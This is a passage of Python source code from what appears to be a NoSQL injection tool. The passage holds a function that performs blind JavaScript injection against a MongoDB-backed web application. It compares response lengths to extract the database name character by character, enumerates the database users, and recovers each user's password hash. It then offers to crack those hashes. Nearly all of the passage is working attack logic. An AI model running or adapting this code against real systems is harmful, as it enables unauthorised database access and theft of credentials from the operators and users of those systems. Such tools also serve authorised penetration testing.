998 | uriArray[x]=split_uri[0]+"?"+urllib.quote_plus(uriArray[x][:-1])
999 |
1000 | x += 1
1001 |
1002 | return uriArray[0]
1003 |
1004 |
1005 | def getDBInfo():
1006 | curLen = 0
1007 | nameLen = 0
1008 | gotFullDb = False
1009 | gotNameLen = False
1010 | gotDbName = False
1011 | gotColLen = False
1012 | gotColName = False
1013 | gotUserCnt = False
1014 | finUser = False
1015 | dbName = ""
1016 | charCounter = 0
1017 | nameCounter = 0
1018 | usrCount = 0
1019 | retrUsers = 0
1020 | users = []
1021 | hashes = []
1022 | crackHash = ""
1023 |
1024 | chars = string.ascii_letters + string.digits
1025 | print "Getting baseline True query return size..."
1026 | trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
1027 | #print "Debug " + str(trueUri)
1028 | req = urllib2.Request(trueUri, None, requestHeaders)
1029 | baseLen = int(len(getResponseBodyHandlingErrors(req)))
1030 | print "Got baseline true query length of " + str(baseLen)
1031 |
1032 | print "Calculating DB name length..."
1033 |
1034 | while gotNameLen == False:
1035 | calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&")
1036 | #print "Debug: " + calcUri
1037 | req = urllib2.Request(calcUri, None, requestHeaders)
1038 | lenUri = int(len(getResponseBodyHandlingErrors(req)))
1039 | #print "Debug length: " + str(lenUri)
1040 |
1041 | if lenUri == baseLen:
1042 | print "Got database name length of " + str(curLen) + " characters."
1043 | gotNameLen = True
1044 |
1045 | else:
1046 | curLen += 1
1047 |
1048 | print "Database Name: ",
1049 | while gotDbName == False:
1050 | charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&")
1051 |
1052 | req = urllib2.Request(charUri, None, requestHeaders)
1053 | lenUri = int(len(getResponseBodyHandlingErrors(req)))
1054 |
1055 | if lenUri == baseLen:
1056 | dbName = dbName + chars[charCounter]
1057 | print chars[charCounter],
1058 | nameCounter += 1
1059 | charCounter = 0
1060 |
1061 | if nameCounter == curLen:
1062 | gotDbName = True
1063 |
1064 |
1065 | else:
1066 | charCounter += 1
1067 | print "\n"
1068 |
1069 | getUserInf = raw_input("Get database users and password hashes (y/n)? ")
1070 |
1071 | if getUserInf.lower() == "y":
1072 | charCounter = 0
1073 | nameCounter = 0
1074 | # find the total number of users on the database
1075 | while gotUserCnt == False:
1076 | usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a")
1077 |
1078 | req = urllib2.Request(usrCntUri, None, requestHeaders)
1079 | lenUri = int(len(getResponseBodyHandlingErrors(req)))
1080 |
1081 | if lenUri == baseLen:
1082 | print "Found " + str(usrCount) + " user(s)."
1083 | gotUserCnt = True
1084 |
1085 | else:
1086 | usrCount += 1
1087 |
1088 | usrChars = 0 # total number of characters in username
1089 | charCounterUsr = 0 # position in the character array-Username
1090 | rightCharsUsr = 0 # number of correct characters-Username
1091 | rightCharsHash = 0 # number of correct characters-hash
1092 | charCounterHash = 0 # position in the character array-hash
1093 | username = ""
1094 | pwdHash = ""
1095 | charCountUsr = False
1096 | query = "{}"
1097 |
1098 | while retrUsers < usrCount:
1099 | if retrUsers == 0:
1100 | while charCountUsr == False:
1101 | # different query to get the first user vs. others
1102 | usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
1103 |
1104 | req = urllib2.Request(usrUri, None, requestHeaders)
1105 | lenUri = int(len(getResponseBodyHandlingErrors(req)))
1106 |
1107 | if lenUri == baseLen:
1108 | # Got the right number of characters
1109 | charCountUsr = True
1110 |
1111 | else:
1112 | usrChars += 1
1113 |
1114 | while rightCharsUsr < usrChars:
1115 | usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
1116 |
1117 | req = urllib2.Request(usrUri, None, requestHeaders)
1118 | lenUri = int(len(getResponseBodyHandlingErrors(req)))
1119 |
1120 | if lenUri == baseLen:
1121 | username = username + chars[charCounterUsr]
1122 | #print username
1123 | rightCharsUsr += 1
1124 | charCounterUsr = 0
1125 |
1126 | else:
1127 | charCounterUsr += 1
1128 |
1129 | retrUsers += 1
1130 | users.append(username)
1131 | # reinitialize all variables and get ready to do it again
1132 | #print str(retrUsers)
1133 | #print str(users)
1134 | charCountUsr = False
1135 | rightCharsUsr = 0
1136 | usrChars = 0
1137 | username = ""
1138 |
1139 | while rightCharsHash < 32: #Hash length is static
1140 | hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&")
1141 |
1142 | req = urllib2.Request(hashUri, None, requestHeaders)
1143 | lenUri = int(len(getResponseBodyHandlingErrors(req)))
1144 |
1145 | if lenUri == baseLen:
1146 | pwdHash = pwdHash + chars[charCounterHash]
1147 | #print pwdHash
1148 | rightCharsHash += 1
1149 | charCounterHash = 0
1150 |
1151 | else:
1152 | charCounterHash += 1
1153 |
1154 | hashes.append(pwdHash)
1155 | print "Got user:hash " + users[0] + ":" + hashes[0]
1156 | # reinitialize all variables and get ready to do it again
1157 | charCounterHash = 0
1158 | rightCharsHash = 0
1159 | pwdHash = ""
1160 | else:
1161 | while charCountUsr == False:
1162 | # different query to get the first user vs. others
1163 | usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
1164 |
1165 | req = urllib2.Request(usrUri, None, requestHeaders)
1166 | lenUri = int(len(getResponseBodyHandlingErrors(req)))
1167 |
1168 | if lenUri == baseLen:
1169 | # Got the right number of characters
1170 | charCountUsr = True
1171 |
1172 | else:
1173 | usrChars += 1
1174 |
1175 | while rightCharsUsr < usrChars:
1176 | usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
1177 |
1178 | req = urllib2.Request(usrUri, None, requestHeaders)
1179 | lenUri = int(len(getResponseBodyHandlingErrors(req)))
1180 |
1181 | if lenUri == baseLen:
1182 | username = username + chars[charCounterUsr]
1183 | #print username
1184 | rightCharsUsr += 1
1185 | charCounterUsr = 0
1186 |
1187 | else:
1188 | charCounterUsr += 1
1189 |
1190 | retrUsers += 1
1191 | # reinitialize all variables and get ready to do it again
1192 |
1193 | charCountUsr = False
1194 | rightCharsUsr = 0
1195 | usrChars = 0
1196 |
1197 | while rightCharsHash < 32: #Hash length is static
1198 | hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&")
1199 |
1200 | req = urllib2.Request(hashUri, None, requestHeaders)
1201 | lenUri = int(len(getResponseBodyHandlingErrors(req)))
1202 |
1203 | if lenUri == baseLen:
1204 | pwdHash = pwdHash + chars[charCounterHash]
1205 | rightCharsHash += 1
1206 | charCounterHash = 0
1207 |
1208 | else:
1209 | charCounterHash += 1
1210 |
1211 | users.append(username)
1212 | hashes.append(pwdHash)
1213 | print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1]
1214 | # reinitialize all variables and get ready to do it again
1215 | username = ""
1216 | charCounterHash = 0
1217 | rightCharsHash = 0
1218 | pwdHash = ""
1219 | crackHash = raw_input("Crack recovered hashes (y/n)?: ")
1220 |
1221 | while crackHash.lower() == "y":
1222 | menuItem = 1
1223 | for user in users:
1224 | print str(menuItem) + "-" + user
1225 | menuItem +=1
1226 |
1227 | userIndex = raw_input("Select user hash to crack: ")
1228 | nsmmongo.passCrack(users[int(userIndex)-1],hashes[int(userIndex)-1])
1229 |
1230 | crackHash = raw_input("Crack another hash (y/n)?")
1231 | raw_input("Press enter to continue...")
1232 | return
1233 |
--------------------------------------------------------------------------------